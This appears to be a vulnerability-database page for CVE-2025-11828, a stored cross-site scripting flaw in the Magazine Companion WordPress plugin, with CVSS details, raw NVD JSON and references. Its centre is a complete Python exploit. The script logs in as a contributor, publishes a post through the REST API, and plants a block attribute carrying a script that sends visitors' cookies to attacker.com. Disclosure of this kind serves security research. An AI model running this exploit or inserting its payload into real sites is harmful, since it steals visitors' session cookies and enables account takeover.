Security Vulnerability Report
中文
CVE-2025-11828 CVSS 6.4 MEDIUM

CVE-2025-11828

Published: 2025-11-11 04:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Magazine Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'headerHtmlTag' attribute in the bnm-blocks/featured-posts-1 block in all versions up to, and including, 1.2.3. This is due to insufficient input sanitization and output escaping when using user-supplied values as HTML tag names. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

bnm-blocks (Magazine Companion) <= 1.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11828 PoC - Magazine Companion Plugin Stored XSS # Target: WordPress site with Magazine Companion plugin <= 1.2.3 # Authentication: Contributor-level access required def exploit_stored_xss(target_url, username, password, block_content): """ Exploit the stored XSS vulnerability via WordPress REST API """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Attempting to authenticate...") resp = session.post(login_url, data=auth_data, verify=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Create a post with malicious block content post_url = f"{target_url}/wp-json/wp/v2/posts" # Malicious payload - XSS via headerHtmlTag attribute malicious_payload = block_content post_data = { 'title': 'XSS Test Post - Magazine Companion', 'content': malicious_payload, 'status': 'publish' } print("[*] Creating post with malicious block content...") resp = session.post(post_url, json=post_data, verify=False) if resp.status_code == 201: post_id = resp.json().get('id') print(f"[+] Post created successfully! Post ID: {post_id}") print(f"[+] Malicious URL: {target_url}/?p={post_id}") print("[!] When accessed, the XSS payload will execute in victim's browser") return True else: print(f"[-] Failed to create post. Status: {resp.status_code}") return False def generate_xss_payload(): """ Generate the malicious block content with XSS payload """ # XSS payload injected via headerHtmlTag attribute xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Block structure for bnm-blocks/featured-posts-1 block_content = f'''<!-- wp:bnm-blocks/featured-posts-1 {{"headerHtmlTag":"{xss_payload}"}} --> <div class="wp-block-bnm-blocks-featured-posts-1"> <h2 class="featured-posts-header"></h2> </div> <!-- /wp:bnm-blocks/featured-posts-1 -->''' return block_content if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-11828-poc.py <target_url> <username> <password>") print("Example: python cve-2025-11828-poc.py http://example.com contributor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = generate_xss_payload() print(f"[*] Generated XSS payload: {payload[:100]}...") exploit_stored_xss(target, user, pwd, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11828", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:42.603", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Magazine Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'headerHtmlTag' attribute in the bnm-blocks/featured-posts-1 block in all versions up to, and including, 1.2.3. This is due to insufficient input sanitization and output escaping when using user-supplied values as HTML tag names. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bnm-blocks/tags/1.2.3/src/blocks/posts/featured-posts-1/view.php#L34", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3392064/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/bnm-blocks", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8fa2e98b-5054-46fd-b22e-eac59b581a3c?source=cve", "source": "[email protected]"}]}}